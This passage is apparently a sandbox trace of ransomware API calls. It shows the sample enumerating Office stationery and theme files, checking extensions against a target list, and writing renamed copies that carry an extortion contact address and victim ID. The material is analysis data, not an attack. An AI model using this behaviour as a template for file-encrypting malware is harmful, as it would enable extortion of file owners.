dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.385] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=231) returned 1 [0076.385] CloseHandle (hObject=0x1e8) returned 1 [0076.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0076.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.386] lstrlenW (lpString=".doc") returned 4 [0076.386] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0076.386] lstrlenW (lpString=".docx") returned 5 [0076.386] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0076.386] lstrlenW (lpString=".pdf") returned 4 [0076.386] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0076.386] lstrlenW (lpString=".xls") returned 4 [0076.386] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0076.386] lstrlenW (lpString=".xlsx") returned 5 [0076.386] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0076.386] lstrlenW (lpString=".ppt") returned 4 [0076.386] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0076.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.386] lstrlenW (lpString=".zip") returned 4 [0076.386] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0076.386] lstrlenW (lpString=".rar") returned 4 [0076.386] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0076.386] lstrlenW (lpString=".bz2") returned 4 [0076.386] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0076.386] lstrlenW (lpString=".7z") returned 3 [0076.386] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0076.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.387] lstrlenW (lpString=".dbf") returned 4 [0076.387] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0076.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.387] lstrlenW (lpString=".1cd") returned 4 [0076.387] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0076.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.387] lstrlenW (lpString=".jpg") returned 4 [0076.387] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0076.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.387] lstrlenW (lpString=".doc") returned 4 [0076.387] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0076.387] lstrlenW (lpString=".docx") returned 5 [0076.387] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0076.387] lstrlenW (lpString=".pdf") returned 4 [0076.387] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0076.387] lstrlenW (lpString=".xls") returned 4 [0076.387] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0076.387] lstrlenW (lpString=".xlsx") returned 5 [0076.387] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0076.387] lstrlenW (lpString=".ppt") returned 4 [0076.387] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0076.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.387] lstrlenW (lpString=".zip") returned 4 [0076.387] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0076.387] lstrlenW (lpString=".rar") returned 4 [0076.387] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0076.387] lstrlenW (lpString=".bz2") returned 4 [0076.387] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0076.387] lstrlenW (lpString=".7z") returned 3 [0076.388] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0076.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.388] lstrlenW (lpString=".dbf") returned 4 [0076.388] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0076.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.388] lstrlenW (lpString=".1cd") returned 4 [0076.388] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0076.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0076.388] lstrlenW (lpString=".jpg") returned 4 [0076.388] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0076.388] lstrcmpiW (lpString1=".jpg", lpString2=".2020") returned 1 [0076.388] lstrlenW (lpString="Garden.jpg") returned 10 [0076.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.388] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=23871) returned 1 [0076.389] CloseHandle (hObject=0x1e8) returned 1 [0076.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0076.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.389] lstrlenW (lpString=".doc") returned 4 [0076.389] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0076.389] lstrlenW (lpString=".docx") returned 5 [0076.389] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0076.389] lstrlenW (lpString=".pdf") returned 4 [0076.389] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0076.389] lstrlenW (lpString=".xls") returned 4 [0076.389] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0076.389] lstrlenW (lpString=".xlsx") returned 5 [0076.389] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0076.389] lstrlenW (lpString=".ppt") returned 4 [0076.390] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0076.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.390] lstrlenW (lpString=".zip") returned 4 [0076.390] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0076.390] lstrlenW (lpString=".rar") returned 4 [0076.390] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0076.390] lstrlenW (lpString=".bz2") returned 4 [0076.390] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0076.390] lstrlenW (lpString=".7z") returned 3 [0076.390] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0076.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.390] lstrlenW (lpString=".dbf") returned 4 [0076.390] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0076.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.390] lstrlenW (lpString=".1cd") returned 4 [0076.390] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0076.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.390] lstrlenW (lpString=".jpg") returned 4 [0076.390] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0076.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.390] lstrlenW (lpString=".doc") returned 4 [0076.390] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0076.390] lstrlenW (lpString=".docx") returned 5 [0076.390] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0076.390] lstrlenW (lpString=".pdf") returned 4 [0076.390] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0076.390] lstrlenW (lpString=".xls") returned 4 [0076.390] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0076.390] lstrlenW (lpString=".xlsx") returned 5 [0076.390] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0076.390] lstrlenW (lpString=".ppt") returned 4 [0076.390] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0076.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.391] lstrlenW (lpString=".zip") returned 4 [0076.391] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0076.391] lstrlenW (lpString=".rar") returned 4 [0076.391] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0076.391] lstrlenW (lpString=".bz2") returned 4 [0076.391] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0076.391] lstrlenW (lpString=".7z") returned 3 [0076.391] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0076.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.391] lstrlenW (lpString=".dbf") returned 4 [0076.391] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0076.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.391] lstrlenW (lpString=".1cd") returned 4 [0076.391] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0076.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0076.391] lstrlenW (lpString=".jpg") returned 4 [0076.391] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0076.391] lstrcmpiW (lpString1=".emf", lpString2=".2020") returned 1 [0076.391] lstrlenW (lpString="Genko_1.emf") returned 11 [0076.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.393] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=5524) returned 1 [0076.393] CloseHandle (hObject=0x1e8) returned 1 [0076.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0076.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.393] lstrlenW (lpString=".doc") returned 4 [0076.393] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0076.393] lstrlenW (lpString=".docx") returned 5 [0076.394] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0076.394] lstrlenW (lpString=".pdf") returned 4 [0076.394] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0076.394] lstrlenW (lpString=".xls") returned 4 [0076.394] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0076.394] lstrlenW (lpString=".xlsx") returned 5 [0076.394] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0076.394] lstrlenW (lpString=".ppt") returned 4 [0076.394] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.394] lstrlenW (lpString=".zip") returned 4 [0076.394] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0076.394] lstrlenW (lpString=".rar") returned 4 [0076.394] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0076.394] lstrlenW (lpString=".bz2") returned 4 [0076.394] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0076.394] lstrlenW (lpString=".7z") returned 3 [0076.394] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.394] lstrlenW (lpString=".dbf") returned 4 [0076.394] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.394] lstrlenW (lpString=".1cd") returned 4 [0076.394] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.394] lstrlenW (lpString=".jpg") returned 4 [0076.394] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.394] lstrlenW (lpString=".doc") returned 4 [0076.394] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0076.394] lstrlenW (lpString=".docx") returned 5 [0076.394] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0076.394] lstrlenW (lpString=".pdf") returned 4 [0076.394] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0076.395] lstrlenW (lpString=".xls") returned 4 [0076.395] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0076.395] lstrlenW (lpString=".xlsx") returned 5 [0076.395] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0076.395] lstrlenW (lpString=".ppt") returned 4 [0076.395] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.395] lstrlenW (lpString=".zip") returned 4 [0076.395] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0076.395] lstrlenW (lpString=".rar") returned 4 [0076.395] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0076.395] lstrlenW (lpString=".bz2") returned 4 [0076.395] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0076.395] lstrlenW (lpString=".7z") returned 3 [0076.395] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.395] lstrlenW (lpString=".dbf") returned 4 [0076.395] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.395] lstrlenW (lpString=".1cd") returned 4 [0076.395] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0076.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0076.395] lstrlenW (lpString=".jpg") returned 4 [0076.395] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0076.396] lstrcmpiW (lpString1=".emf", lpString2=".2020") returned 1 [0076.396] lstrlenW (lpString="Genko_2.emf") returned 11 [0076.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.396] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=10340) returned 1 [0076.396] CloseHandle (hObject=0x1e8) returned 1 [0076.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0076.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.396] lstrlenW (lpString=".doc") returned 4 [0076.396] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0076.396] lstrlenW (lpString=".docx") returned 5 [0076.396] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0076.396] lstrlenW (lpString=".pdf") returned 4 [0076.396] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0076.397] lstrlenW (lpString=".xls") returned 4 [0076.397] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0076.397] lstrlenW (lpString=".xlsx") returned 5 [0076.397] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0076.397] lstrlenW (lpString=".ppt") returned 4 [0076.397] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0076.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.397] lstrlenW (lpString=".zip") returned 4 [0076.397] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0076.397] lstrlenW (lpString=".rar") returned 4 [0076.397] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0076.397] lstrlenW (lpString=".bz2") returned 4 [0076.397] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0076.397] lstrlenW (lpString=".7z") returned 3 [0076.397] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0076.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.397] lstrlenW (lpString=".dbf") returned 4 [0076.397] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0076.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.397] lstrlenW (lpString=".1cd") returned 4 [0076.397] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0076.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.397] lstrlenW (lpString=".jpg") returned 4 [0076.397] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0076.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.397] lstrlenW (lpString=".doc") returned 4 [0076.397] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0076.397] lstrlenW (lpString=".docx") returned 5 [0076.397] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0076.397] lstrlenW (lpString=".pdf") returned 4 [0076.397] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0076.397] lstrlenW (lpString=".xls") returned 4 [0076.398] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0076.398] lstrlenW (lpString=".xlsx") returned 5 [0076.398] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0076.398] lstrlenW (lpString=".ppt") returned 4 [0076.398] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0076.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.398] lstrlenW (lpString=".zip") returned 4 [0076.398] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0076.398] lstrlenW (lpString=".rar") returned 4 [0076.398] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0076.398] lstrlenW (lpString=".bz2") returned 4 [0076.398] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0076.398] lstrlenW (lpString=".7z") returned 3 [0076.398] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0076.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.398] lstrlenW (lpString=".dbf") returned 4 [0076.398] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0076.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.398] lstrlenW (lpString=".1cd") returned 4 [0076.398] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0076.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0076.398] lstrlenW (lpString=".jpg") returned 4 [0076.398] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0076.398] lstrcmpiW (lpString1=".emf", lpString2=".2020") returned 1 [0076.398] lstrlenW (lpString="Graph.emf") returned 9 [0076.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.401] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=116724) returned 1 [0076.401] CloseHandle (hObject=0x1e8) returned 1 [0076.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0076.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0076.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0076.402] lstrlenW (lpString=".doc") returned 4 [0076.402] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0076.402] lstrlenW (lpString=".docx") returned 5 [0076.402] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0076.402] lstrlenW (lpString=".pdf") returned 4 [0076.402] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0076.402] lstrlenW (lpString=".xls") returned 4 [0076.402] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0076.402] lstrlenW (lpString=".xlsx") returned 5 [0076.402] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0076.402] lstrlenW (lpString=".ppt") returned 4 [0076.402] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0076.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0076.402] lstrlenW (lpString=".zip") returned 4 [0076.402] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0076.402] lstrlenW (lpString=".rar") returned 4 [0076.402] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0076.402] lstrlenW (lpString=".bz2") returned 4 [0076.402] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0076.402] lstrlenW (lpString=".7z") returned 3 [0076.402] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0076.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0076.402] lstrlenW (lpString=".dbf") returned 4 [0076.402] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0077.278] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.278] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 